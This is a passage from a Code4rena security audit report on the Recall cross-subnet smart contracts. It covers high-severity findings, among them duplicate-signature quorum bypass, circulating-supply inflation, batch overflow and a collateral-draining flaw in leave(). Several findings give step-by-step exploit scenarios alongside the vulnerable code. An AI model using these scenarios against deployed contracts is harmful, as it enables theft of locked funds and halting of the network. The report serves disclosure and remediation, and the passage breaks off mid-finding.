Overview

About C4

Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Recall smart contract system. The audit took place from February 19 to March 19, 2025.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 13 unique vulnerabilities. Of these vulnerabilities, 9 received a risk rating in the category of HIGH severity and 4 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 3 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Recall team.

Scope

The code under review can be found within the C4 Recall repository, and is composed of 61 smart contracts written in the Rust and Solidity programming language and includes 46,978 lines of Rust and Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (9)

[H-01] Missing signature duplication check in the submitCheckpoint function

Submitted by shaflow2, also found by 0xastronatey, 0xzell044, aldarion, Daniel526, Giorgio, kodyvim, MSK, muellerberndt, Mylifechangefast_eth, NexusAudits, Rorschach, SBSecurity, and Sparrow

The checkpoint submission process relies on a weighted multi-signature verification scheme, but due to the lack of signature duplication checks, a single malicious validator can pass the checkpoint validation on their own.

Proof of Concept

The checkpoint submission process relies on a weighted multi-signature verification scheme to ensure that a quorum of active validators has signed the checkpoint. However, the implementation does not enforce the uniqueness of signatories. This allows a single validator to repeatedly provide multiple signatures, thereby accumulating their weight and potentially satisfying the threshold on their own.

This situation could allow a malicious validator (or a colluding minority) to pass the checkpoint validation with minimal participation from other validators.

In the SubnetActorCheckpointingFacet contract:

    function submitCheckpoint(
        BottomUpCheckpoint calldata checkpoint,
        address[] calldata signatories,
        bytes[] calldata signatures
    ) external whenNotPaused {
        ensureValidCheckpoint(checkpoint);

        bytes32 checkpointHash = keccak256(abi.encode(checkpoint));

        // validate signatures and quorum threshold, revert if validation fails
        validateActiveQuorumSignatures({signatories: signatories, hash: checkpointHash, signatures: signatures});

The critical issue is that the validateActiveQuorumSignatures function does not enforce that each validator appears only once in the signatories array. For example, consider a scenario where:

• The validator set comprises 10 validators with a combined total weight of 100.
• The quorum threshold is calculated as 51 (i.e. 51% of 100).
• If a single validator (with weight 6) signs the checkpoint multiple times (e.g., 10 times), the accumulated weight would be 6 × 10 = 60, which exceeds the threshold of 51.

This means that only one validator, by duplicating its signature, could potentially satisfy the quorum requirement. This undermines the intended security of requiring a broad consensus among multiple independent validators.

A malicious validator (or a small colluding group) could repeatedly sign the same checkpoint, artificially inflating their weight and meeting the quorum threshold even if the majority of validators did not participate.

Recommended mitigation steps

Modify the multi-signature verification logic to ensure that each validator address appears only once in the signatories array.

Recall confirmed

---

[H-02] Xnet call messages with value > 0 lead to inflated circulating supply of child subnet

Submitted by sin1st3r__

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/gateway/router/CheckpointingFacet.sol#L137

Finding description and impact

One of the main invariants of this protocol (as listed in the contest github page) is:

The total supply of a subnet must match the total funds locked for that specific subnet in the gateway

The vulnerability explained in detail below leads to a severely inflated circulating supply of the target subnet, in a way that the total funds locked for a particular subnet will NOT equal the total supply of funds associated with the subnet.

The vulnerability exists in the function CheckpointingFacet::execBottomUpMsgs(). This function is called by the function commitCheckpoint() which ends up getting called when an actor submits a bottom -> top checkpoint for execution in the parent subnet.

    /// @notice submit a batch of cross-net messages for execution.
    /// @param msgs The batch of bottom-up cross-network messages to be executed.
    function execBottomUpMsgs(IpcEnvelope[] calldata msgs, Subnet storage subnet) internal {
        uint256 totalValue;
        uint256 crossMsgLength = msgs.length;

        for (uint256 i; i < crossMsgLength; ) {
    ------> if (msgs[i].kind != IpcMsgKind.Call) {
                totalValue += msgs[i].value;
            }
            unchecked {
                ++i;
            }
        }

        uint256 totalAmount = totalValue;

        if (subnet.circSupply < totalAmount) {
            revert NotEnoughSubnetCircSupply();
        }

  ----> subnet.circSupply -= totalAmount;

        // execute cross-messages
        LibGateway.applyMessages(subnet.id, msgs);
    }

The highlighted line checks if the bottom -> top message to be executed is NOT of type Call. If that’s the case, then it will increase the totalValue variable. Then the circulating supply state associated with the child subnet circSupply will be decreased by the totalValue. The main assumption made here is that a message of type Call does not move supply source / genesis funds, which is not necessarily true. A message of type Call can have a non-zero value property which means that it does move funds.

Let’s take a look at the function GatewayMessengerFacet::sendContractXnetMessage() which is responsible for the creation of messages of type Call:

    function sendContractXnetMessage(
        IpcEnvelope memory envelope
    ) external payable returns (IpcEnvelope memory committed) {
        ........................

        committed = IpcEnvelope({
            kind: IpcMsgKind.Call,
            ..........................
        });

        (bool valid, InvalidXnetMessageReason reason, IPCMsgType applyType) = committed.validateCrossMessage();
        if (!valid) {
            revert InvalidXnetMessage(reason);
        }

        if (applyType == IPCMsgType.TopDown) {
            (, SubnetID memory nextHop) = committed.to.subnetId.down(s.networkName);
            // lock funds on the current subnet gateway for the next hop
      ----> ISubnetActor(nextHop.getActor()).supplySource().lock(envelope.value);
        }

        // Commit xnet message for dispatch.
   ---> bool shouldBurn = LibGateway.commitValidatedCrossMessage(committed);

        // Apply side effects, such as burning funds.
   ---> LibGateway.crossMsgSideEffects({v: committed.value, shouldBurn: shouldBurn});

        // Return a copy of the envelope, which was updated when it was committed.
        // Updates are visible to us because commitCrossMessage takes the envelope with memory scope,
        // which passes the struct by reference.
        return committed;
    }

    function commitValidatedCrossMessage(IpcEnvelope memory crossMessage) internal returns (bool shouldBurn) {
        GatewayActorStorage storage s = LibGatewayActorStorage.appStorage();

        SubnetID memory to = crossMessage.to.subnetId;
        IPCMsgType applyType = crossMessage.applyType(s.networkName);
        bool isLCA = to.commonParent(crossMessage.from.subnetId).equals(s.networkName);

        // If the directionality is top-down, or if we're inverting the direction
        // because we're the LCA, commit a top-down message.
        if (applyType == IPCMsgType.TopDown || isLCA) {
            (, SubnetID memory subnetId) = to.down(s.networkName);
            (, Subnet storage subnet) = getSubnet(subnetId);
            LibGateway.commitTopDownMsg(subnet, crossMessage);
            return (shouldBurn = false);
        }

        // Else, commit a bottom up message.
        LibGateway.commitBottomUpMsg(crossMessage);
        // gas-opt: original check: value > 0
        return (shouldBurn = crossMessage.value != 0);
    }

If a caller in a child subnet creates a xnet message with a non-zero value to call a smart contract in another child subnet, the funds will be burnt (or more precisely, sent to void) and a bottom up message will be committed. The message will then reach the destination and the funds will be transferred successfully to the target in the destination subnet. The circulating supply of the child subnet should reflect that fund transfer, but that’s not what happens.

Exploit

1. Suppose child subnet A has 1,000,000 native funds locked in, and the current circulating supply for that child subnet is set to 1,000,000 (as it should) in the parent subnet.
2. Attacker in child subnet A will transfer 5,000 funds by constructing a Xnet message which calls a smart contract in child subnet B and transfers the 5,000 funds to it. The 5,000 funds will be burnt and the Xnet message will then arrive at the parent subnet and the parent subnet will then commit a Top -> Bottom message to child subnet B.
3. The circulating supply of child subnet B will be increased by 5000 (as it should). Check the function LibGateway::commitTopDownMsg():

    function commitTopDownMsg(Subnet storage subnet, IpcEnvelope memory crossMessage) internal {
        uint64 topDownNonce = subnet.topDownNonce;

        crossMessage.localNonce = topDownNonce;
        // only set the original nonce if the message is from this subnet
        if (crossMessage.from.subnetId.equals(subnet.id)) {
            crossMessage.originalNonce = topDownNonce;
        }
        subnet.topDownNonce = topDownNonce + 1;
  ----> subnet.circSupply += crossMessage.value;

        emit NewTopDownMessage({subnet: subnet.id.getAddress(), message: crossMessage, id: crossMessage.toTracingId()});
    }

4. Message will arrive in child subnet B and target contract will be called and the funds will be transferred:

    function execute(
        IpcEnvelope calldata crossMsg,
        Asset memory supplySource
    ) public returns (bool success, bytes memory ret) {
        if (isEmpty(crossMsg)) {
            revert CannotExecuteEmptyEnvelope();
        }

        address recipient = crossMsg.to.rawAddress.extractEvmAddress().normalize();
        if (crossMsg.kind == IpcMsgKind.Transfer) {
            return supplySource.transferFunds({recipient: payable(recipient), value: crossMsg.value});
        } else if (crossMsg.kind == IpcMsgKind.Call || crossMsg.kind == IpcMsgKind.Result) {
            // For a Result message, the idea is to perform a call as this returns control back to the caller.
            // If it's an account, there will be no code to invoke, so this will behave like a bare transfer.
            // But if the original caller was a contract, this give it control so it can handle the result

            // send the envelope directly to the entrypoint
            // use supplySource so the tokens in the message are handled successfully
            // and by the right supply source
     -----> return
     ----->     supplySource.performCall(
                    payable(recipient),
                    abi.encodeCall(IIpcHandler.handleIpcMessage, (crossMsg)),
                    crossMsg.value
                );
        }
        return (false, EMPTY_BYTES);
    }

    /// @notice Calls the target with the specified data, ensuring it receives the specified value.
    function performCall(
        Asset memory asset,
        address payable target,
        bytes memory data,
        uint256 value
    ) internal returns (bool success, bytes memory ret) {
        // If value is zero, we can just go ahead and call the function.
        if (value == 0) {
            return functionCallWithValue(target, data, 0);
        }

        // Otherwise, we need to do something different.
        if (asset.kind == AssetKind.Native) {
            // Use the optimized path to send value along with the call.
            (success, ret) = functionCallWithValue({target: target, data: data, value: value});
        } else if (asset.kind == AssetKind.ERC20) {
            (success, ret) = functionCallWithERC20Value({asset: asset, target: target, data: data, value: value});
        }
        return (success, ret);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bool success, bytes memory) {
        if (address(this).balance < value) {
            revert NotEnoughBalance();
        }

        if (!isContract(target)) {
            revert InvalidSubnetActor();
        }

        return target.call{value: value}(data);
    }

5. Call should succeed and a receipt of value 0 will be created and sent to the parent subnet which will then send a Top -> Bottom checkpoint to child subnet A containing the receipt created by child subnet B. The receipt will have a value of 0 because the call succeeded.

    function createResultMsg(
        IpcEnvelope calldata crossMsg,
        OutcomeType outcome,
        bytes memory ret
    ) public pure returns (IpcEnvelope memory) {
        ResultMsg memory message = ResultMsg({id: toTracingId(crossMsg), outcome: outcome, ret: ret});

        uint256 value = crossMsg.value;
        // if the message was executed successfully, the value stayed
        // in the subnet and there's no need to return it.
  ----> if (outcome == OutcomeType.Ok) {
            value = 0;
        }
        return
            IpcEnvelope({
                kind: IpcMsgKind.Result,
                from: crossMsg.to,
                to: crossMsg.from,
                value: value,
                message: abi.encode(message),
                originalNonce: 0,
                localNonce: 0
            });
    }

6. The circulating supply associated with subnet A will remain at 1,000,000 even though it should be 9,995,000 now that 5000 funds were moved outside of it.

The effect vulnerability can be exaggerated even further if the attacker keeps bridging funds from subnet to parent and from parent to subnet by making xnet calls that have value > 0. The circSupply associated with the child subnet will keep getting increased but never decreased.

Recommended mitigation steps

Proposed mitigation is to remove the if check if (msgs[i].kind != IpcMsgKind.Call) and to increase the totalValue variable regardless of msg type:

    /// @notice submit a batch of cross-net messages for execution.
    /// @param msgs The batch of bottom-up cross-network messages to be executed.
    function execBottomUpMsgs(IpcEnvelope[] calldata msgs, Subnet storage subnet) internal {
        uint256 totalValue;
        uint256 crossMsgLength = msgs.length;

        for (uint256 i; i < crossMsgLength; ) {
            totalValue += msgs[i].value;
            unchecked {
                ++i;
            }
        }

        uint256 totalAmount = totalValue;

        if (subnet.circSupply < totalAmount) {
            revert NotEnoughSubnetCircSupply();
        }

        subnet.circSupply -= totalAmount;

        // execute cross-messages
        LibGateway.applyMessages(subnet.id, msgs);
    }

Recall confirmed

---

[H-03] Reliance on incorrect hash in IpcContract.sol leads to permanent fund loss and receipt message execution failure

Submitted by sin1st3r__, also found by NexusAudits

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/sdk/IpcContract.sol#L39

Overview of the IpcContract.sol contract & Xnet messaging

The in-scope IpcContract.sol contract is an abstract contract which is meant to be extended upon to create contracts that are “IPC Xnet compatible”. It has the method performIpcCall() which is called to create a new IPC envelope or Xnet message to be sent to the parent subnet or another child subnet. It also has the method handleIpcMessage() which is used to handle Call/Xnet messages coming from other subnets and it is also used to handle receipts.

When you, from a source subnet, send a Xnet message to a destination subnet and that message reaches the destination subnet and is executed there, that destination subnet will then generate a message of kind “Result” which we call a “Receipt”. This “Receipt” message is then sent back to the source subnet. The method handleIpcMessage() in the IpcContract.sol (or any contract extending it) is responsible for handling those receipts.

Finding description and impact

The vulnerability exists in the highlighted lines in the functions performIpcCall() and handleIpcMessage():

    /// @notice Method the implementation of this contract can invoke to perform an IPC call.
    function performIpcCall(
        IPCAddress memory to,
        CallMsg memory callMsg,
        uint256 value
    ) internal nonReentrant returns (IpcEnvelope memory envelope) {
        // Queue the cross-net message for dispatch.
        envelope = IGateway(gatewayAddr).sendContractXnetMessage{value: value}(
            IpcEnvelope({
                kind: IpcMsgKind.Call,
                from: to, // TODO: will anyway be replaced by sendContractXnetMessage.
                to: to,
                localNonce: 0, // TODO: will be replaced.
                originalNonce: 0, // TODO: will be replaced
                value: value,
                message: abi.encode(callMsg)
            })
        );
        // Add the message to the list of inflights
 -----> bytes32 id = envelope.toHash();
 -----> inflightMsgs[id] = envelope;
    }

    function handleIpcMessage(IpcEnvelope calldata envelope) external payable onlyGateway returns (bytes memory) {
        ...................
        } else if (envelope.kind == IpcMsgKind.Result) {
            ResultMsg memory result = abi.decode(envelope.message, (ResultMsg));

            // Recover the original message.
            // If we were not tracking it, or if some details don't match, refuse to handle the receipt.
    ------> IpcEnvelope storage orig = inflightMsgs[result.id]; // @audit-issue
            if (orig.message.length == 0 || keccak256(abi.encode(envelope.from)) != keccak256(abi.encode(orig.to))) {
                revert IIpcHandler.UnrecognizedResult();
            }

            /// Note: if the result handler reverts, we will
            _handleIpcResult(orig, envelope, result);
            delete inflightMsgs[result.id];
            return EMPTY_BYTES;
        }
        revert UnsupportedMsgKind();
    }

When you call the function performIpcCall() to create a new Xnet message to be sent to a destination subnet, the function calls GatewayMessengerFacet::sendContractXnetMessage(); which will update the localNonce, originalNonce and to properties of the IPC envelope. Then the envelope will be hashed using the toHash() function:

    function toHash(IpcEnvelope memory crossMsg) internal pure returns (bytes32) {
        return keccak256(abi.encode(crossMsg));
    }

Then the hash of that IPC envelope will be stored in the inflightMsgs mapping:

        // Add the message to the list of inflights
 -----> bytes32 id = envelope.toHash();
 -----> inflightMsgs[id] = envelope;

After the Xnet message is sent to and executed on the destination, the destination will then create a receipt message which will be sent back to the source subnet (which the message originated from). The function CrossMsgHelper::createResultMsg() is called to create the receipt, notice the highlighted line:

    /// @notice Creates a receipt message for the given envelope.
    /// It reverts the from and to to return to the original sender
    /// and identifies the receipt through the hash of the original message.
    function createResultMsg(
        IpcEnvelope calldata crossMsg,
        OutcomeType outcome,
        bytes memory ret
    ) public pure returns (IpcEnvelope memory) {
------> ResultMsg memory message = ResultMsg({id: toTracingId(crossMsg), outcome: outcome, ret: ret});

        uint256 value = crossMsg.value;
        // if the message was executed successfully, the value stayed
        // in the subnet and there's no need to return it.
        if (outcome == OutcomeType.Ok) {
            value = 0;
        }
        return
            IpcEnvelope({
                kind: IpcMsgKind.Result,
                from: crossMsg.to,
                to: crossMsg.from,
                value: value,
                message: abi.encode(message),
                originalNonce: 0,
                localNonce: 0
            });
    }

Notice how it sets the id of the receipt message to be equal to the hash output of the function toTracingId() which is given the original message as a parameter.

Let’s take a look at the toTracingId() function:

    /// @notice Returns a deterministic hash for the given cross message, excluding the nonce,
    /// which is useful for generating a `tracingId` for cross messages.
    function toTracingId(IpcEnvelope memory crossMsg) internal pure returns (bytes32) {
        return
            keccak256(
                // solhint-disable-next-line func-named-parameters
                abi.encode(
                    crossMsg.kind,
                    crossMsg.to,
                    crossMsg.from,
                    crossMsg.value,
                    crossMsg.message,
                    crossMsg.originalNonce
                )
            );
    }

The hash output of the toTracingId() function is different from the hash output of the function toHash(), which was utilized to create a hash of the original message to be stored in the inflightMsgs mapping of the IpcContract contract. toTracingId(), unlike toHash() does not include the localNonce of the original message.

After the receipt is created and sent back to the source subnet, then the function handleIpcMessage() in the IpcContract.sol contract deployed in source subnet, will be called to handle the receipt. The handleIpcMessage() function will retrieve the id property of the receipt message as if it represents/is equal to the hash of the original message generated during the creation of the original message in performIpcCall(), which is not the case. The id property has the hash output of the toTracingId() function which is different from the hash output of toHash() initially stored in the mapping inflightMsgs.

    function handleIpcMessage(IpcEnvelope calldata envelope) external payable onlyGateway returns (bytes memory) {
        ...................
        } else if (envelope.kind == IpcMsgKind.Result) {
            ResultMsg memory result = abi.decode(envelope.message, (ResultMsg));

            // Recover the original message.
            // If we were not tracking it, or if some details don't match, refuse to handle the receipt.
    ------> IpcEnvelope storage orig = inflightMsgs[result.id]; // @audit-issue
            if (orig.message.length == 0 || keccak256(abi.encode(envelope.from)) != keccak256(abi.encode(orig.to))) {
                revert IIpcHandler.UnrecognizedResult();
            }

            /// Note: if the result handler reverts, we will
            _handleIpcResult(orig, envelope, result);
            delete inflightMsgs[result.id];
            return EMPTY_BYTES;
        }
        revert UnsupportedMsgKind();
    }

The original message will NOT be recovered because the hash in the .id property of the receipt message is not equal to the ones originally stored in the mapping, and so the function will revert.

Impact

This vulnerability will lead to a permanent loss of funds if a Xnet call has value > 0 and the call has failed on the destination. Additionally, receipts will never be handled on destination subnets.

Recommended mitigation steps

One way to fix this is to add a hash property to the original message/IPC envelope. This property should be set by the function sendContractXnetMessage() and should not change. Then when a receipt is created, the receipt IPC envelope struct should also have that hash property and have it set to the hash of the original message. Then in IpcContract that hash property should be relied on instead.

Recall confirmed

---

[H-04] An attacker can overflow the count of messages in a bottom up message batch leading to bottom up checkpoint execution failure and halting

Submitted by sin1st3r__

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/lib/LibGateway.sol#L309

Overview of how commitBottomUpMsg() works

To understand the vulnerability, we need to first discuss how the function LibGateway::commitBottomUpMsg() which is used to commit bottom up msgs to be included in a bottom up msg batch. The created bottom up msg batch will then be included in a bottom up checkpoint to be sent to a parent subnet.

    function commitBottomUpMsg(IpcEnvelope memory crossMessage) internal {
        GatewayActorStorage storage s = LibGatewayActorStorage.appStorage();
        uint256 epoch = getNextEpoch(block.number, s.bottomUpCheckPeriod);

        .................

        // populate the batch for that epoch
        (bool exists, BottomUpMsgBatch storage batch) = LibGateway.getBottomUpMsgBatch(epoch);
        if (!exists) {
            batch.subnetID = s.networkName;
            batch.blockHeight = epoch;
            // we need to use push here to initialize the array.
            batch.msgs.push(crossMessage);
            emit QueuedBottomUpMessage({id: crossMessage.toTracingId()});
            return;
        }

        // if the maximum size was already achieved emit already the event
        // and re-assign the batch to the current epoch.
  ----> if (batch.msgs.length == s.maxMsgsPerBottomUpBatch) {
            // copy the batch with max messages into the new cut.
            uint256 epochCut = block.number;
            BottomUpMsgBatch memory newBatch = BottomUpMsgBatch({
                subnetID: s.networkName,
                blockHeight: epochCut,
                msgs: new IpcEnvelope[](batch.msgs.length)
            });

            uint256 msgLength = batch.msgs.length;
            for (uint256 i; i < msgLength; ) {
                newBatch.msgs[i] = batch.msgs[i];
                unchecked {
                    ++i;
                }
            }

            // emit event with the next batch ready to sign quorum over.
            emit NewBottomUpMsgBatch(epochCut);

            // Empty the messages of existing batch with epoch and start populating with the new message.
            delete batch.msgs;
            // need to push here to avoid a copy from memory to storage
            batch.msgs.push(crossMessage);

     -----> LibGateway.storeBottomUpMsgBatch(newBatch);
        } else {
            // we append the new message normally, and wait for the batch period
            // to trigger the cutting of the batch.
            batch.msgs.push(crossMessage);
        }

        emit QueuedBottomUpMessage({id: crossMessage.toTracingId()});
    }

How this function works is as follows:

It first retrieves the next epoch then it retrieves the currently stored bottom up message batch for that epoch. If a batch exists for the next epoch and it is full, a new bottom up msg batch will be created with a block height of the current epoch/block-number, and then the messages stored in the next epoch’s batch will be transferred to the newly created msg batch associated with the current block number.

The newly created bottom up msg batch will be stored by calling the function storeBottomUpMsgBatch():

    /// @notice stores bottom-up batch
    function storeBottomUpMsgBatch(BottomUpMsgBatch memory batch) internal {
        GatewayActorStorage storage s = LibGatewayActorStorage.appStorage();
        BottomUpMsgBatch storage b = s.bottomUpMsgBatches[batch.blockHeight];
        b.subnetID = batch.subnetID;
        b.blockHeight = batch.blockHeight;

        uint256 msgLength = batch.msgs.length;
        for (uint256 i; i < msgLength; ) {
            // We need to push because initializing an array with a static
            // length will cause a copy from memory to storage, making
            // the compiler unhappy.
            b.msgs.push(batch.msgs[i]);
            unchecked {
                ++i;
            }
        }
    }

This function retrieves the batch associated with the block height of the supplied batch, which would be the current block.number, and regardless or not of its existence, it will push the messages to it.

Finding description and impact

The vulnerability is that an attacker can overpopulate the newly created bottom up msg batch so that the batch has a number of messages which exceed the limit maxMsgsPerBottomUpBatch (which is a constant of 10). That can be achieved by simply committing a total of 21 bottom up messages at the same time (or less depending on the count of stored messages in batch associated with the next epoch).

The rationale behind the number 21 is that it takes 10 messages to make the batch of the next epoch full (if its empty), which triggers the code branch below, and it takes another 10 messages to re-populate the batch of the next epoch again after it was cleared, and 1 more message to overpopulate the bottom up message with the block height block.number so that it will contain a total of 11 messages which exceed the maxMsgsPerBottomUpBatch limit enforced.

  ----> if (batch.msgs.length == s.maxMsgsPerBottomUpBatch) {
            // copy the batch with max messages into the new cut.
            uint256 epochCut = block.number;
    ----->  BottomUpMsgBatch memory newBatch = BottomUpMsgBatch({
                subnetID: s.networkName,
                blockHeight: epochCut,
                msgs: new IpcEnvelope[](batch.msgs.length)
            });

            uint256 msgLength = batch.msgs.length;
     -----> for (uint256 i; i < msgLength; ) {
     ----->     newBatch.msgs[i] = batch.msgs[i];
                unchecked {
                    ++i;
                }
            }

This is problematic because when an attacker overpopulates the batch with more messages than its supposed to hold, the bottom up checkpoint holding the bottom up msg batch will always fail and the checkpoint will never be executable in the parent.

A checkpoint is submitted by calling the function SubnetActorCheckpointingFacet::submitCheckpoint():

    function submitCheckpoint(
        BottomUpCheckpoint calldata checkpoint,
        address[] calldata signatories,
        bytes[] calldata signatures
    ) external whenNotPaused {
 -----> ensureValidCheckpoint(checkpoint);

        .................................

        // Commit in gateway to distribute rewards
        IGateway(s.ipcGatewayAddr).commitCheckpoint(checkpoint);

        .................................
    }

Let’s take a look at the function ensureValidCheckpoint():

    function ensureValidCheckpoint(BottomUpCheckpoint calldata checkpoint) internal view {
        uint64 maxMsgsPerBottomUpBatch = s.maxMsgsPerBottomUpBatch;
 -----> if (checkpoint.msgs.length > maxMsgsPerBottomUpBatch) {
            revert MaxMsgsPerBatchExceeded();
        }

        .........................
    }

As it can be observed, the ensureValidCheckpoint checks if the count of messages stored in the checkpoint is more than maxMsgsPerBottomUpBatch (10), If that’s the case, then revert.

Exploit / PoC

1. Attacker will deploy a malicious IPC smart contract on child subnet, which if called by an attacker, will commit 21 bottom up messages by calling the function sendContractXnetMessage() 21 times and supplying an appropriate IPC envelope struct.
2. Bottom up batch will be overpopulated and now the checkpoint holding that batch will never be executed/committed leading to bottom up checkpoint halting.

Recommended mitigation steps

I believe this can be mitigated by ensuring that a single bottom up msg batch can not have more count of messages than maxMsgsPerBottomUpBatch.

---

[H-05] Incorrect supply fund transferral in function leave() can be exploited to drain locked collateral source funds in subnet actor contract

Submitted by sin1st3r__, also found by 0xAsen, ahahaHard1k, and NexusAudits

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/subnet/SubnetActorManagerFacet.sol#L269

Finding description and impact

The function SubnetActorManagerFacet::leave() incorrectly returns genesis/supply funds to its caller if the subnet is bootstrapped. Take a look at the highlighted line:

    function leave() external nonReentrant whenNotPaused notKilled {
        ....................................

        // slither-disable-next-line unused-return
        s.bootstrapOwners.remove(msg.sender);
        delete s.bootstrapNodes[msg.sender];

        if (!s.bootstrapped) {
            // check if the validator had some initial balance and return it if not bootstrapped
            uint256 genesisBalance = s.genesisBalance[msg.sender];
            if (genesisBalance != 0) {
                delete s.genesisBalance[msg.sender];
                s.genesisCircSupply -= genesisBalance;
                LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
        ------> s.collateralSource.transferFunds(payable(msg.sender), genesisBalance);
            }

            // interaction must be performed after checks and changes
            LibStaking.withdrawWithConfirm(msg.sender, amount);
            s.collateralSource.transferFunds(payable(msg.sender), amount);
            return;
        }
        LibStaking.withdraw(msg.sender, amount);
    }

If the subnet is not yet bootstrapped and the caller has already deposited supply/genesis funds through the function SubnetActorManagerFacet::preFund(), the function will attempt to return those funds through the call s.collateralSource.transferFunds(payable(msg.sender), genesisBalance); but this line is flawed because it’s trying to return collateral/staked funds instead of supply/genesis funds.

The correct way to return those funds would be through the following: s.supplySource.transferFunds(payable(msg.sender), genesisBalance);. This aligns with the logic of the function SubnetActorManagerFacet::preRelease() which returns the deposited supply funds to the caller correctly:

    function preRelease(uint256 amount) external nonReentrant {
        if (amount == 0) {
            revert NotEnoughFunds();
        }

        if (s.bootstrapped) {
            revert SubnetAlreadyBootstrapped();
        }

  ----> s.supplySource.transferFunds(payable(msg.sender), amount);

        if (s.genesisBalance[msg.sender] < amount) {
            revert NotEnoughBalance();
        }

        s.genesisBalance[msg.sender] -= amount;
        s.genesisCircSupply -= amount;

        if (s.genesisBalance[msg.sender] == 0) {
            LibSubnetActor.rmAddressFromBalanceKey(msg.sender);
        }
    }

Exploit / PoC

1. Suppose we have a subnet that is not yet bootstrapped and suppose that it has a supplySource of a ERC20 token which is worth $1 and that the collateralSource is native ETH which is worth $2000.
2. Attacker deposits 10 supplySource ERC20 tokens by calling the function SubnetActorManagerFacet::preFund() and then joins the subnet by staking a minimal amount of collateralSource (native ETH) by calling SubnetActorManagerFacet::join().
3. Attacker calls SubnetActorManagerFacet::leave() to the leave the subnet. The leave() function will transfer to the attacker 10 ETH (collateralSource) instead of transferring the 10 ERC20 supplySource tokens he deposited, and it will give him back the minimal amount of collateralSource (native ETH) he staked when he joined.
4. Attacker walks away with a profit of ~$19,990. The subnet will become unregisterable, and not everybody who has joined the subnet will be able to get his funds back because the SubnetActorManagerFacet won’t have enough funds.

Recommended mitigation steps

In leave() simply change the line s.collateralSource.transferFunds(payable(msg.sender), genesisBalance); to s.supplySource.transferFunds(payable(msg.sender), genesisBalance);.

Recall confirmed

---

[H-06] Reentrancy in function leave() leads to halting of bottom up checkpoints

Submitted by sin1st3r__

https://github.com/code-423n4/2025-02-recall/blob/ab5f90b9b0322016ecce6dd71c528a935544bec5/contracts/contracts/subnet/SubnetActorManagerFacet.sol#L269

Prerequisite Knowledge

How stake & unstake operations work in a not yet bootstrapped subnet:

1. In a pre-bootstrap subnet, when a validator joins the subnet using the function SubnetActorManagerFacet::stake() and then decides to add more stake by calling the function SubnetActorManagerFacet::stake(), the function will do the following:

2. It’ll conduct some validations like check if msg.sender has already joined the subnet as a validator, lock the funds he deposited in the contract by calling the function lock()

       function stake(uint256 amount) external payable whenNotPaused notKilled {
           ..........
   
       --> s.collateralSource.lock(amount);
   
           if (!s.bootstrapped) {
               LibStaking.depositWithConfirm(msg.sender, amount);
               LibSubnetActor.bootstrapSubnetIfNeeded();
           } else {
               LibStaking.deposit(msg.sender, amount);
           }
       }

3. It’ll check if the subnet is bootstrapped. In this case, it isn’t, so it will call the functions depositWithConfirm(). The function depositWithConfirm will do the following:

   1. It’ll call the functions depositRequest() and confirmDeposit() which will simply increase the totalCollateral associated with the validator then increase the totalConfirmedCollateral of the validator and then the validator set gets reshuffled when increaseReshuffle() is called by confirmDeposit().
   2. Then bootstrap the subnet only if the requirements are met by calling the function SubnetActorManagerFacet::bootstrapSubnetIfNeeded() (there needs to be a minimum amount of active validators and a staking threshold that needs to be met before a subnet can be bootstrapped)
4. When a subnet becomes eligible for bootstrapping and the bootstrapSubnetIfNeeded() function is called, the funds in the SubnetActorManagerFacet will be transferred to the GatewayManagerFacet contract.

How stake & unstake operations work in a bootstrapped subnet:

1. When a subnet is already bootstrapped and a validator adds new stake by calling the function SubnetActorManagerFacet::stake(), the function will lock the funds as usual but then it will call the function deposit() instead of calling depositWithConfirm(). This is because the child bootstrapped subnet needs to be aware of that change in power before the parent confirms that power change. When the function deposit() is called, it will do the following:

   1. It’ll create a “deposit request” which will be stored and will later be transferred to the child bootstrapped subnet via a Top-down checkpoint.
   2. It’ll increase the total totalCollateral associated with the validator but it will NOT increase the totalConfirmedCollateral associated with the validator yet.

   /// @notice Deposit the collateral
   function deposit(address validator, uint256 amount) internal {
       SubnetActorStorage storage s = LibSubnetActorStorage.appStorage();
   
       s.changeSet.depositRequest(validator, amount);
       s.validatorSet.recordDeposit(validator, amount);
   }

   /// @notice Perform upsert operation to the deposit changes
   function depositRequest(StakingChangeLog storage changes, address validator, uint256 amount) internal {
       bytes memory payload = abi.encode(amount);
   
       uint64 configurationNumber = recordChange({
           changes: changes,
           validator: validator,
           op: StakingOperation.Deposit,
           payload: payload
       });
   
       emit NewStakingChangeRequest({
           op: StakingOperation.Deposit,
           validator: validator,
           payload: payload,
           configurationNumber: configurationNumber
       });
   }

2. When a top -> down checkpoint takes place, we’ll arrive at the child subnet which will need to confirm the deposit request made in the parent before the parent confirms the deposit. This function LibValidatorTracking::confirmChange(), in the child subnet gateway actor will be executed and it will simply confirm the deposit of the validator and reshuffle the list of validators (increaseReshuffle will be called by confirmDeposit):

    /// @notice Confirm the changes in for a finality commitment
    function confirmChange(ParentValidatorsTracker storage self, uint64 configurationNumber) internal {
        .............

        for (uint64 i = start; i <= configurationNumber; ) {
            StakingChange storage change = self.changes.getChange(i);
            address validator = change.validator;

            if (change.op == StakingOperation.SetMetadata) {
                .......
            } else if (change.op == StakingOperation.SetFederatedPower) {
                .......
            } else {
                uint256 amount = abi.decode(change.payload, (uint256));

